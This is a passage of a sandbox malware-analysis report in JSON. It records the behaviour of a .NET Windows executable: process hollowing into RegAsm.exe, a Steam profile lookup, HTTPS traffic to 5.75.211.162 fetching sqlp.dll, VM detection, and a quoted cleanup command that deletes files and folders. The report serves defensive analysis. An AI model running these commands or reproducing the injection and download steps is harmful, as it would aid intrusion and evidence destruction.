\"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"66f4247962974_vfdsgasd12.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"66f4247962974_vfdsgasd12.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"66f4247962974_vfdsgasd12.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2b","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" [Source: 00000000-00007992-00000BC0-515420663]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\timeout.exe\" [Source: 00000000-00007332-00000BC0-536118506]\n Observed system executable string:\"%WINDIR%\\system32\\timeout.exe\" [Source: 00000000-00007332-00000C44-1195946302]\n Observed system executable string:\"/c timeout /t 10 & del /f /q \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" & rd /s /q \"%ALLUSERSPROFILE%\\GIIIECBGDHJJ\" & exit\" [Source: cmd.exe]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"RegAsm.exe\" (UID: 00000000-00000828) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"RegAsm.exe\" (UID: 00000000-00000828) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00007332) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\"\"\n Process \"timeout.exe\" (UID: 00000000-00005284) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"RegAsm.exe\" (UID: 00000000-00000828)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00004588)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00005744)\n Spawned process \"cmd.exe\" with commandline \"/c timeout /t 10 & del /f /q \"%WINDIR%\\\\Microsoft.NET\\\\Framework ...\" (UID: 00000000-00007332), Spawned process \"timeout.exe\" with commandline \"timeout /t 10\" (UID: 00000000-00005284)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"RegAsm.exe\" (UID: 00000000-00000828)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00004588)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00005744)\n Spawned process \"cmd.exe\" with commandline \"/c timeout /t 10 & del /f /q \"%WINDIR%\\\\Microsoft.NET\\\\Framework ...\" (UID: 00000000-00007332), Spawned process \"timeout.exe\" with commandline \"timeout /t 10\" (UID: 00000000-00005284)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US\" (SHA1: 7B:0F:36:0B:77:5F:76:C9:4A:12:CA:48:44:5A:A2:D2:A8:75:70:1C; see report for more information)\n The input sample is signed with a certificate issued by \"CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O=\"DigiCert\n Inc.\", C=US\" (SHA1: 15:F7:60:D8:2C:79:D2:24:46:CC:7D:48:06:54:0B:F6:32:B1:E1:04; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 317153)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"66f4247962974_vfdsgasd12.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"66f4247962974_vfdsgasd12.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"66f4247962974_vfdsgasd12.exe.log\" has type \"CSV text\"- Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\66f4247962974_vfdsgasd12.exe.log]- [targetUID: 00000000-00007992]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"66f4247962974_vfdsgasd12.exe\" queries basic process information of the \"C:\\66f4247962974_vfdsgasd12.exe\" (UID: 7992)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"66f4247962974_vfdsgasd12.exe\" reads file \"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config\"\n \"66f4247962974_vfdsgasd12.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll.aux\"\n \"66f4247962974_vfdsgasd12.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll.aux\"\n \"66f4247962974_vfdsgasd12.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: The input sample possibly contains the RDTSCP instruction","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mscoree.dll\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\66f4247962974_vfdsgasd12.exe\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"66f4247962974_vfdsgasd12.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"66f4247962974_vfdsgasd12.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\66f4247962974_vfdsgasd12.exe.log\"\n \"66f4247962974_vfdsgasd12.exe\" writes file \"%localappdata%\\microsoft\\clr_v4.0_32\\usagelogs\\66f4247962974_vfdsgasd12.exe.log\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"66f4247962974_vfdsgasd12.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\66f4247962974_vfdsgasd12.exe.log\"\n \"66f4247962974_vfdsgasd12.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\66f4247962974_vfdsgasd12.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$31","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.com\n Connection: Keep-Alive\n Cache-Control: no-cache\n\n GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\n Host: 5.75.211.162\n Connection: Keep-Alive\n Cache-Control: no-cache\n\n GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\n Host: 5.75.211.162\n Connection: Keep-Alive\n Cache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: ce5f3254611a8c095a3d821d44539877\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 8e6e5e26c545781f412f07aaaef7d20a","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://www.entrust.net\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://steamcommunity.com/profiles/76561199780418869\n Found HTTPS GET request to https://5.75.211.162/\n Found HTTPS POST request to https://5.75.211.162/\n Found HTTPS GET request to https://5.75.211.162/sqlp.dll","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"5.75.211.162\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"66f4247962974_vfdsgasd12.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"66f4247962974_vfdsgasd12.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$32","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"66f4247962974_vfdsgasd12.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"66f4247962974_vfdsgasd12.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"66f4247962974_vfdsgasd12.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\MICROSOFT.NET\\FRAMEWORK\\V4.0.30319\\REGASM.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSWOW64\\TIMEOUT.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"66f4247962974_vfdsgasd12.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\66f4247962974_vfdsgasd12.exe.log]- [targetUID: 00000000-00007992]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"66f4247962974_vfdsgasd12.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"66f4247962974_vfdsgasd12.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"section contains high entropy","description":"\"66f4247962974_vfdsgasd12.exe\" has section name .text with entropy \"7.99601381909\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 5.75.211.162 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"cmd.exe\" opened \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" with delete access\n \"cmd.exe\" opened \"C:\\ProgramData\\GIIIECBGDHJJ\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"66f4247962974_vfdsgasd12.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00007992)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"66f4247962974_vfdsgasd12.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00007992)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"RegAsm.exe\" connects to 5.75.211.162:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"66f4247962974_vfdsgasd12.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" (PID: 1670)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$33","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\n Host: 5.75.211.162\n Connection: Keep-Alive\n Cache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"66f4247962974_vfdsgasd12.exe\" (UID: 00000000-00007992)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00000828)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00004588)\n Spawned process \"RegAsm.exe\" (UID: 00000000-00005744)\n Spawned process \"cmd.exe\" with commandline \"/c timeout /t 10 & del /f /q \"%WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\RegAsm.exe\" & rd /s /q \"%ALLUSERSPROFILE%\\\\GIIIECBGDHJJ\" & exit\" (UID: 00000000-00007332)\n Spawned process \"timeout.exe\" with commandline \"timeout /t 10\" (UID: 00000000-00005284)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"clrcompression.dll\" (Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")\n Found string 